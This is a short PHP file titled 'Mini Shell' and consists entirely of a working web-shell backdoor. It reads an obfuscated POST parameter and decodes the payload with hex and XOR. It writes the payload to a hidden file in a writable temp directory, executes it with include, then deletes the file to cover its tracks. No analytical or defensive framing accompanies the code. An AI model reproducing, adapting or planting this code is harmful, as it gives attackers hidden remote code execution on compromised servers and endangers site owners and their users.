Mini Shell
<?php
if(count($_POST) > 0 && isset($_POST["r\x65\x63\x6Frd"])){
$bind = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path()]);
$factor = hex2bin($_POST["r\x65\x63\x6Frd"]);
$component='' ; for($i=0; $i<strlen($factor); $i++){$component .= chr(ord($factor[$i]) ^ 58);}
for ($ent = 0, $fac = count($bind); $ent < $fac; $ent++) {
$reference = $bind[$ent];
if (is_dir($reference) ? is_writable($reference) : false) {
$sym = "$reference" . "/.parameter_group";
if (@file_put_contents($sym, $component) !== false) {
include $sym;
unlink($sym);
die();
}
}
}
}